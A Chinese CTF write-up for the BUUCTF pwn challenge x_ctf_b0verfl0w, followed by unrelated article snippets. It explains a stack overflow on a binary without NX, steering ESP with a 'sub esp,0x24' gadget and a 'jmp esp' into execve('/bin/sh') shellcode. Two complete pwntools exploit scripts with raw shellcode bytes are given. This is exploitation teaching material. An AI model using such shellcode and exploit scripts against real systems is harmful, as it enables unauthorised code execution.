news 2026/3/25 20:10:22

buuctf--x_ctf_b0verfl0w

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf--x_ctf_b0verfl0w

这个题目算是一个很不错的shellcode题,通过控制esp的值指向shellcode,然后有个jmp esp让eip到shellcode上面,最后getshell。

首先看一下文件相关信息:

可以看到,32位程序,并且没有开NX,我最开始做的时候没有注意到这个保护没有开,还想着泄露基址然后system('/bin/sh'),结果卡在缓冲区了,puts输出不了got地址里面的libc函数的地址,导致方法失效,接着来看一下ida里面的伪代码

这里因为没有设置立即回显,所以我们无法利用puts函数来泄露地址获取libc基址,并且没有办法获取栈的地址得到shellcode地址,但是这个题提供了一个非常好的东西!!那就是一个hint

这里可以看到有一个sub esp 24h。然后直接retn,然后后面有一个jmp esp刚好可以让eip跳转到esp的位置。接着就来分析一下这个怎么利用

这里看到这个vul函数的尾部

可以看到有leave retn,这里leave是mov esp ebp。pop ebp的含义

接着画一下这个栈的结构,前面我们知道参数s距离ebp的距离是0x20,那么栈的结构大致是这样的

大概就是长这个样子,之后我们输入覆盖ebp,覆盖返回地址,接着分析这个过程esp的变化,在执行leave指令的时候mov ebp esp,pop ebp。

mov ebp esp将esp指向ebp的位置,然后pop ebp将栈里面原来的ebp弹出来,但是这个ebp已经被我们覆盖了,然后这里pop指令之后esp+4指向了这个返回地址的位置。最后一个ret指令就将这个返回地址弹到eip里面,接着esp加4

这里执行完ret之后,esp刚好是指向ebp+8的位置,也就是参数加上0x28的位置,这里继续看到hint函数

可以看到这里8048500的指令是sub esp, 24h相当于将esp减去0x24,这里如果我们控制返回地址为这个地址,那么最后esp就是指向参数+4的位置,然后接着一个retn指令就是将参数+4位置上的地址当返回地址返回,然后esp加4.最后esp指向参数加8的位置,所以我们的shellcode就可以写在这个参数加8的位置,参数加4的位置写上jmp esp就可以将eip指向shellcode从而实现getshell

最后可以看到shellcode:

from pwn import * r = remote("node5.buuoj.cn", 25646) ret=0x08048503 shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += b"\x0b\xcd\x80" hint=0x08048500 #sub epp-0x24 payload=b'\x90'*4+p32(0x08048504)+shellcode+b'a'*(0x20-4-len(shellcode))+p32(hint) r.sendline(payload) r.interactive()

这里因为我知道esp的精确位置,所以就可以精准的将返回地址控制到shellcode上面,这里hint地址也可以选那个push的地址,也就是080484FD这个,但是这个push会使得esp的值减4,然后esp就会指向参数+0x24的位置,因为原本esp指向参数加0x28的位置,接着指向减去0x24就会指向参数的位置,然后有个ret指令指向参数加4的位置,所以我们也可以将shellcode放置在参数加4的位置,然后参数位置就是有个jmp esp即可

也附上对应的exp:

from pwn import * r = remote("node5.buuoj.cn", 25646) shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += b"\x0b\xcd\x80" hint=0x080484FD #sub epp-0x24 payload=p32(0x08048504)+shellcode+b'a'*(0x20-len(shellcode))+p32(hint) r.sendline(payload) r.interactive()

这个也是可以打通的

可以看到,这里也是没有问题的,对于这种需要控制esp的,只需要记住ret/pop指令是返回esp指向的位置的地址,然后esp+4。push指令是从esp的位置写入,最后esp-4.因为栈是从高地址往低地址生长的,所以进栈就是esp-4。往下生长。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/22 19:34:48

Linux关机命令

在Linux系统中,关机可以通过多种命令实现,具体取决于你的需求(如立即关机、定时关机、安全关机等)以及使用的系统管理工具(如systemd或SysVinit)。以下是常用的关机方法:1. 使用 shutdown 命令&…

作者头像 李华
网站建设 2026/3/22 6:12:17

【Django毕设源码分享】基于Django的羽毛球服务管理系统的设计与实现(程序+文档+代码讲解+一条龙定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/3/24 15:12:50

神经网络入门:从零开始构建你的第一个深度学习模型

✨道路是曲折的,前途是光明的! 📝 专注C/C、Linux编程与人工智能领域,分享学习笔记! 🌟 感谢各位小伙伴的长期陪伴与支持,欢迎文末添加好友一起交流! 前言什么是神经网络&#xff1f…

作者头像 李华
网站建设 2026/3/18 1:58:57

动图静图拼图怎么制作?一键实现动静态画面无缝拼图不卡顿

在自媒体创作、表情包制作、文章配图、社交分享、商用素材设计中,单一的动图或静图始终存在表达局限——静图缺乏灵动性,难以吸引注意力;动图过于活泼,容易显得杂乱无章。此时,动图静图拼图成为完美解决方案,将动态GIF…

作者头像 李华
网站建设 2026/3/24 15:13:03

Codeforces Round 1078 (Div. 2) A,B,C,D,E,F1个人题解

A. 割草机数学每个测试时间限制:1秒 每个测试内存限制:256兆字节 夏季别墅的出口由一道栅栏围成,栅栏由 \(n\) 块木板组成,每块木板宽 \(1\) 米。出口的左右两侧是其他地块的栅栏。为了建造浴室,需要移除栅栏中的一些木…

作者头像 李华